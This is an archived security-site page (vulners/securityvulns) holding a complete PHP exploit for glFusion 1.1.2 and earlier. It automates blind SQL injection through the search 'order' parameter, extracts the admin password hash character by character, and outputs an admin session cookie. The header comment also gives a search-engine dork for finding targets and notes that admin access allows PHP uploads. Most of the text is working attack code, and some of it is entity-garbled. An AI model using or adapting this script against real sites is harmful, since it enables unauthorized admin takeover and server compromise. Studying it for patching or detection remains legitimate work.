Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:21556
HistoryApr 01, 2009 - 12:00 a.m.

glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit

2009-04-0100:00:00
vulners.com
1766

<?php
/*
glFusion <= 1.1.2 COM_applyFilter()/order sql injection exploit
by Nine:Situations:Group::bookoo

    working against Mysql &gt;= 4.1
    php.ini independent
            
      our site: http://retrogod.altervista.org/
    software site: http://www.glfusion.org/

    google dork: &quot;Page created in&quot; &quot;seconds by glFusion&quot; +RSS

    Vulnerability, sql injection in &#39;order&#39; and &#39;direction&#39; arguments:
    look ExecuteQueries&#40;&#41; function in /private/system/classes/listfactory.class.php, near line

336:

    // Get the details for sorting the list
    $this-&gt;_sort_arr[&#39;field&#39;] = isset&#40;$_REQUEST[&#39;order&#39;]&#41; ? COM_applyFilter&#40;$_REQUEST[&#39;order&#39;]&#41;

: $this->_def_sort_arr['field'];
$this->_sort_arr['direction'] = isset($_REQUEST['direction']) ?
COM_applyFilter($_REQUEST['direction']) : $this->_def_sort_arr['direction'];
if (is_numeric($this->_sort_arr['field'])) {
$ord = $this->_def_sort_arr['field'];
$this->_sort_arr['field'] = SQL_TITLE;
} else {
$ord = $this->_sort_arr['field'];
}

    $order_sql = &#39; ORDER BY &#39; . $ord . &#39; &#39; . strtoupper&#40;$this-&gt;_sort_arr[&#39;direction&#39;]&#41;;
    ...

    filters are inefficient, see COM_applyFilter&#40;&#41; which calls COM_applyBasicFilter&#40;&#41;
    in /public/lib-common.php near line 5774.

    We are in an ORDER clause and vars are not surrounded by quotes,
    bad chars are ex. &quot;,&quot; , &quot;/&quot; ,&quot;&#39;&quot;, &quot;;&quot;, &quot;&#92;&quot;,&quot;&quot;&quot;,&quot;*&quot;,&quot;&#96;&quot;
      but what about spaces and &quot;&#40;&quot;... you can use a CASE WHEN .. THEN .. ELSE .. END
      construct instead of ex. IF&#40;..,..,..&#41; and &quot;--&quot; instead of &quot;/*&quot; to close
      your query.
      And ex. the alternative syntax SUBSTR&#40;str FROM n FOR n&#41; instead of
    SUBSTR&#40;str,n,n&#41; in a sub-SELECT statement.
      Other attacks are possible, COM_applyFilter&#40;&#41; is a very common used one.
    
      Additional notes: &#39;direction&#39; argument is uppercased by strtoupper&#40;&#41;,
      you know that table identifiers on Unix-like systems are case sensitives
      but not on MS Windows, however I choosed to inject in the &#39;order&#39; one
    for better results.
      Vars come from the $_REQUEST[] array so you can pass it by $_POST[] or
      $_COOKIE[], which is not intended I suppose.
      
    This exploit extracts the hash from users table; also note that you do
    not need to crack the hash, you can authenticate as admin with the
    cookie:
            
      glfusion=[uid]; glf_password=[hash];
            
      as admin you can upload php files in public folders!
            
      Very soft mitigations: glFusion does not show the table prefix in sql
    errors, default however is &#39;gl_&#39;. I prepared a fast routine to extract
    it from information_schema db if availiable.
      To successfully interrogate MySQL you need at least 2 records in the
    same topic section, however the default installation create 2 links with
    topic &quot;glFusion&quot;
    
*/

    $err[0]=&quot;[!] This script is intended to be launched from the cli!&quot;;
    $err[1]=&quot;[!] You need the curl extesion loaded!&quot;;

      if &#40;php_sapi_name&#40;&#41; &lt;&gt; &quot;cli&quot;&#41; {
        die&#40;$err[0]&#41;;       
    }
    if &#40;!extension_loaded&#40;&#39;curl&#39;&#41;&#41; {
        $win = &#40;strtoupper&#40;substr&#40;PHP_OS, 0, 3&#41;&#41; === &#39;WIN&#39;&#41; ? true : false;
        if &#40;$win&#41; {
                        !dl&#40;&quot;php_curl.dll&quot;&#41; ? die&#40;$err[1]&#41; : nil;
                    }
                    else {
                        !dl&#40;&quot;php_curl.so&quot;&#41; ? die&#40;$err[1]&#41; : nil;
                    }
    }

      function syntax&#40;&#41;{
          print &#40;                   
                 &quot;Syntax: php &quot;.$argv[0].&quot; [host] [path] [[port]] [OPTIONS]                &#92;n&quot;.
                 &quot;Options:                                                                 &#92;n&quot;.
                   &quot;--port:[port]       - specify a port                                    

\n".
" default -> 80
\n".
"–prefix - try to extract table prefix from
information.schema\n".
" default -> gl_
\n".
"–uid:[n] - specify an uid other than default (2,usually
admin)\n".
"–proxy:[host:port] - use proxy
\n".
"–enforce - try even with 'not vulnerable' message ");
die();
}

    error_reporting&#40;E_ALL ^ E_NOTICE&#41;;
    $host=$argv[1];
    $path=$argv[2];
    $prefix=&quot;gl_&quot;;      //default
    $uid=&quot;2&quot;;
    $where= &quot;uid=$uid&quot;; //user id, usually admin, anonymous = 1

      $argv[2] ? print&#40;&quot;[*] Attacking...&#92;n&quot;&#41; : syntax&#40;&#41;;
    $_f_prefix=false;
    $_use_proxy=false;
    $port=80;
    $_enforce=false;

    for &#40;$i=3; $i&lt;$argc; $i++&#41;{
        if &#40; stristr&#40;$argv[$i],&quot;--prefix&quot;&#41;&#41;{
              $_f_prefix=true;
          }
          if &#40; stristr&#40;$argv[$i],&quot;--proxy:&quot;&#41;&#41;{
              $_use_proxy=true;
                $tmp=explode&#40;&quot;:&quot;,$argv[$i]&#41;;
                $proxy_host=$tmp[1];
                $proxy_port=&#40;int&#41;$tmp[2];
          }
          if &#40; stristr&#40;$argv[$i],&quot;--port:&quot;&#41;&#41;{
              $tmp=explode&#40;&quot;:&quot;,$argv[$i]&#41;;
                $port=&#40;int&#41;$tmp[1];
          }
          if &#40; stristr&#40;$argv[$i],&quot;--enforce&quot;&#41;&#41;{
              $_enforce=true;
          }
          if &#40; stristr&#40;$argv[$i],&quot;--uid&quot;&#41;&#41;{
                $tmp=explode&#40;&quot;:&quot;,$argv[$i]&#41;;
                $uid=&#40;int&#41;$tmp[1];
                $where=&quot;uid=$uid&quot;;                  
          }
      }

    $url = &quot;http://$argv[1]:$port&quot;;

    function _s&#40;$url,$request&#41;
    {
        global $_use_proxy,$proxy_host,$proxy_port;
        $ch = curl_init&#40;&#41;;
        curl_setopt&#40;$ch, CURLOPT_URL,$url&#41;;
        curl_setopt&#40;$ch, CURLOPT_POST, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_POSTFIELDS, $request.&quot;&#92;r&#92;n&quot;&#41;;
        curl_setopt&#40;$ch, CURLOPT_RETURNTRANSFER, 1&#41;;
        curl_setopt&#40;$ch, CURLOPT_USERAGENT, &quot;Mozilla/5.0 &#40;Windows; U; Windows NT 5.1; it;

rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7");
curl_setopt($ch, CURLOPT_TIMEOUT, 0);
curl_setopt($ch, CURLOPT_HEADER, 0);
if ($_use_proxy){
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}

    function chk_err&#40;$s&#41;{
        if &#40;stripos

($s,"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\x72\x72\x65\x64")){
return true;
}
else {
return false;
}
}

    function xtrct_tpc&#40;$_h&#41;{
        $_x=explode&#40;&quot;&#92;x69&#92;x6e&#92;x64&#92;x65&#92;x78&#92;x2e&#92;x70&#92;x68&#92;x70&#92;x3f&#92;x74&#92;x6f&#92;x70&#92;x69&#92;x63&#92;x3d&quot;,$_h&#41;;
        $_y=array&#40;&#41;;
        for &#40;$i=1; $i&lt;count&#40;$_x&#41;; $i++&#41;{
            $_tmp=explode&#40;&quot;&#92;x22&quot;,$_x[$i]&#41;;
            if &#40;&#40;!in_array&#40;$_tmp[0],$_y&#41;&#41; and &#40;$_tmp[0]&lt;&gt;&#39;&#39;&#41;&#41; {
                $_y[$i]=$_tmp[0];
            }
        }
        return $_y;
    }

    $url =&quot;http://$host:$port&quot;.$path.&quot;index.php&quot;;
  $out= _s&#40;$url,&quot;&quot;&#41;;
    $_tpcs=xtrct_tpc&#40;$out&#41;;
    $_types=array&#40;&quot;links&quot;,&quot;stories&quot;,&quot;filemgmt&quot;,&quot;forum&quot;&#41;;
    $_t=false;
    for &#40;$i=0; $i&lt;count&#40;$_tpcs&#41;; $i++&#41;{
        for &#40;$j=0; $j&lt;count&#40;$_types&#41;; $j++&#41;{
            $url

="http://$host:$port".$path."search.php?query=a+a+a&keyType=all&datestart=&dateend=&topic=".$_tpcs[$i]."&type=".$_types[$j]."&author=0&results=25&mode=search";
$out= _s($url,"");
$mtchs=explode("\x3e\x32\x2e", $out);
if (count($mtchs)==2){
$_t=true;
break;
}
}
}

  if &#40;$_t==true&#41;{
      $type = $_types[$j];
      $topic= $_tpcs[$i];
  } else {
      $type=  &quot;links&quot;;         //section with at least 2 records of the same topic
      $topic= &quot;glFusion&quot;;      //existing topic in section
  }

  print&#40;&quot;[*] topic -&gt; &#39;&quot;.$topic.&quot;&#39;, type -&gt; &#39;&quot;.$type.&quot;&#39;&#92;n&quot;&#41;;
  $prepend=&quot;query=&amp;topic=&quot;.$topic.&quot;&amp;keyType=phrase&quot;;
    
    //checking for vulnerability existence ...
    $url

="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search&order=";
$_d="order=–;";
$out= _s($url,$_d);

    //version compatibility
  if

(stripos($out,"\x73\x68\x6f\x75\x6c\x64\x20\x68\x61\x76\x65\x20\x61\x74\x20\x6c\x65\x61\x73\x74\x20\x33\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73")){
$prepend="query=a+a+a&topic=0&keyType=all";
$url
="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=all&author=0&results=25&mode=search";
$out= _s($url,$_d);
}

  if &#40;chk_err&#40;$out&#41;&#41; {
        print&#40;&quot;[*] Vulnerable ...&#92;n&quot;&#41;;
    } else {
        print&#40;&quot;[!] Not vulnerable ...&#92;n&quot;&#41;;
        if &#40;!$_enforce&#41;{
            die;    
        }
    }
    
    switch &#40;$type&#41; {
        case $_types[0]:
            $_order = array&#40;&quot;id&quot;,&quot;url&quot;,&quot;description&quot;,&quot;title&quot;,&quot;hits&quot;,&quot;date&quot;,&quot;uid&quot;&#41;;
          break;
        case $_types[1]:
            $_order = array&#40;&quot;id&quot;,&quot;title&quot;,&quot;description&quot;,&quot;date&quot;,&quot;uid&quot;,&quot;hits&quot;,&quot;url&quot;&#41;;
        break;
        case $_types[2]:
            $_order = array&#40;&quot;id&quot;,&quot;uid&quot;,&quot;comments&quot;,&quot;hits&quot;,&quot;date&quot;,&quot;description&quot;,&quot;url&quot;&#41;;
        break;
        case $_types[3]:
            $_order = array&#40;&quot;id&quot;,&quot;name&quot;,&quot;forum&quot;,&quot;date&quot;,&quot;title&quot;,&quot;description&quot;,&quot;hits&quot;,&quot;uid&quot;&#41;;
        break;

  }         

  function xtrct_lnk&#40;$_h&#41;{
        $_x=explode&#40;&quot;&#92;x3e&#92;x31&#92;x2e&quot;,$_h&#41;;
      $_x=explode&#40;&quot;&#92;x3c&#92;x61&#92;x20&#92;x68&#92;x72&#92;x65&#92;x66&#92;x3d&#92;x22&quot;,$_x[1]&#41;;
      $_x=explode&#40;&quot;&#92;x22&quot;,$_x[1]&#41;;
        return html_entity_decode&#40;$_x[0]&#41;;
  }

    //checking for exploitability ...
    $sql = urlencode&#40;&quot;&#40;CASE WHEN &#40;SELECT 1&#41; THEN 1 ELSE 1 END&#41; LIMIT 1--&quot;&#41;;
  $url

="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$out= _s($url,$_d);
if (chk_err($out)) {
die("[!] Mysql < 4.1 …");
} else {
print "[*] Subquery works, exploiting …\n";
}

  $_lnks = array&#40;&#41;;
    $v = array&#40;&#41;;
    for &#40;$i=0; $i&lt;count&#40;$_order&#41;; $i++&#41;{
        $sql = urlencode&#40;&quot;$_order[$i] LIMIT 1--&quot;&#41;;
      $url

="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
$l=xtrct_lnk($_o);
if (!in_array($l,$_lnks)) {
array_push($_lnks,$l);
array_push($v,$_order[$i]);
}
if (count($v)>1) {
print "[*] '".$v[0]."' and '".$v[1]."' in ORDER clause returs different records,
good! \n";
break;
}
}

  if  &#40;count&#40;$v&#41;&lt;=1&#41; {die&#40;&quot;[!] Unable to interrogate database: &quot;.count&#40;v&#41;.&quot; record&#40;s&#41; in table

… need at least 2 with topic '".$topic." in section '".$type."' !");}

  function find_prefix&#40;&#41;{
      global $_lnks ,$v, $type, $host, $port, $path, $prepend;
      $_table_name=&quot;&quot;;
      $j=1;
      print &quot;[*] Table name -&gt; &quot;;
        while &#40;!strstr&#40;$_table_name,chr&#40;0&#41;&#41;&#41;{
          $mn=0x00;$mx=0xff;
            while &#40;1&#41;{
                if &#40;&#40;$mx + $mn&#41; &#37; 2 ==1&#41;{
                  $c= round&#40;&#40;$mx + $mn&#41; / 2&#41; - 1;
               } else {
                      $c= round&#40;&#40;$mx + $mn&#41; / 2&#41;;
                }
                $sql = urlencode&#40;&quot;&#40;CASE WHEN &#40;SELECT &#40;ASCII&#40;SUBSTR&#40;TABLE_NAME FROM $j FOR 1&#41;&#41;

>= ".$c.") FROM information_schema.TABLES WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573
LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1–");
$url
="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
if (chk_err($_o)) {
die("\n[!] information_schema not availiable!");
}
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
$mn = $c;
}
else {
$mx = $c - 1;
}

                  if &#40;&#40;$mx-$mn==1&#41; or &#40;$mx==$mn&#41;&#41;{
                      $sql = urlencode&#40;&quot;&#40;CASE WHEN &#40;SELECT &#40;ASCII&#40;SUBSTR&#40;TABLE_NAME FROM $j FOR

1)) = ".$mn.") FROM information_schema.tables WHERE TABLE_NAME LIKE 0x25747261636b6261636b636f646573
LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1–");
$url
="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
print chr($mn);
$_table_name.=chr($mn);
} else {
print chr($mx);
$_table_name.=chr($mx);
}
break;
}
}
$j++;
}
print "\n";
$_prefix = str_replace("trackbackcodes","",$_table_name);
return $_prefix;
}

  if &#40;$_f_prefix == true&#41; {
      $prefix=find_prefix&#40;&#41;;
        print &quot;[*] Table prefix -&gt; &quot;.$prefix.&quot;&#92;n&quot;;
  }

  $c=array&#40;&#41;;$c=array_merge&#40;$c,range&#40;0x30,0x39&#41;&#41;;$c=array_merge&#40;$c,range&#40;0x61,0x66&#41;&#41;;
  print &quot;[*] hash -&gt; &quot;;
  $_hash=&quot;&quot;;
  for &#40;$j=1; $j&lt;0x21; $j++&#41;{
      for &#40;$i=1; $i&lt;=0xff; $i++&#41;{
            $f=false;
            if &#40;in_array&#40;$i,$c&#41;&#41;{
                $sql = urlencode&#40;&quot;&#40;CASE WHEN &#40;SELECT &#40;ASCII&#40;SUBSTR&#40;PASSWD FROM $j FOR 1&#41;&#41;=$i&#41;

FROM ".$prefix."users WHERE $where LIMIT 1) THEN ".$v[0]." ELSE ".$v[1]." END) LIMIT 1–");
$url
="http://$host:$port".$path."search.php?".$prepend."&datestart=&dateend=1&type=".$type."&author=0&results=25&mode=search";
$_d="order=".$sql.";";
$_o= _s($url,$_d);
if (chk_err($_o)) {
die("\n[!] wrong table prefix!");
}
$l=xtrct_lnk($_o);
if ($l==$_lnks[0]){
$f=true;
$_hash.=chr($i);
print chr($i); break;
}
}
}
if ($f==false){
die("\n[!] Unknown error …");
}
}
print "\n[*] your cookie -> glfusion=".$uid."; glf_password=".$_hash."; glf_theme=nouveau;";
?>

original url: http://retrogod.altervista.org/9sg_glfusion_sql.html